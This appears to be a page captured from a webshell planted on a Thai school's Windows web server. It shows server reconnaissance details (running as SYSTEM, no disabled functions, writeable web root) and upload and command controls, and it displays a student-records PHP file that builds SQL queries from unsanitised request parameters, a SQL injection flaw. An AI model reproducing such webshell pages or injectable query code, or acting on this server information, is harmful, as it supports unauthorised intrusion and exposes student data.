403Webshell
Server IP : 172.67.187.206  /  Your IP : 162.159.115.41
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  E:/Inetpub/www/myschool/triamudom/check/rule/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : E:/Inetpub/www/myschool/triamudom/check/rule/function_rule.php
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>บันทึกข้อมูล</title>
</head>

<body>
<?php
@session_start();
$path = "../";
include ($path.'include/config_db.php');
include ($path.'include/class_db.php'); 
include ($path.'include/class_display.php'); 
include ($path.'include/function.php'); 
$CLASS['db']   = new db();
$CLASS['db']->connect(); 
$CLASS['disp']   = new display();
$db   = $CLASS['db']; 
$disp   = $CLASS['disp']; 

$tb_student_id = $_REQUEST['tb_student_id'];
$tb_student_code = $_REQUEST['tb_student_code'];
$tb_student_degree = $_REQUEST['tb_student_degree'];
$tb_ruletype_id = $_REQUEST['tb_ruletype_id'];
$tb_rule_term = $_REQUEST['tb_rule_term'];
$tb_rule_date_int = convert_date_insert($_REQUEST['tb_rule_date']);
$tb_rule_area = $_REQUEST['tb_rule_area'];
$tb_student_phone = $_REQUEST['tb_student_phone'];

$username = $_REQUEST['username'];
$password = $_REQUEST['password'];
$secret = $_REQUEST['secret'];
$sender = $_REQUEST['sender'];
$dest = $_REQUEST['dest'];
$msg = $_REQUEST['msg'];


$query_insert = $db->query("INSERT INTO tb_rules (tb_rule_id,  tb_student_id, tb_student_code, tb_student_degree,  tb_ruletype_id, tb_rule_area, tb_rule_term,  tb_rule_date,  tb_rule_status,tb_admin_id) VALUES (NULL,  '".$tb_student_id."', '".$tb_student_code."', '".$tb_student_degree."',  '".$tb_ruletype_id."', '".$tb_rule_area."', '".$tb_rule_term."', '".$tb_rule_date_int."', '1','".$_SESSION['sessionuser_id']."')");

$student_detail = $_REQUEST['student_detail'];

$query_ruletype=$db->query("select * from tb_ruletypes where  tb_ruletype_id ='".$tb_ruletype_id."' ");
$fetch_ruletype=$db->fetch_array($query_ruletype);
//$fetch_ruletype['tb_ruletype_name'];
//$fetch_ruletype['tb_ruletype_score'];


?>
<script language="javascript">window.alert('Success');</script>
<script language="javascript">window.location.href = 'display_rule.php'</script>


</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit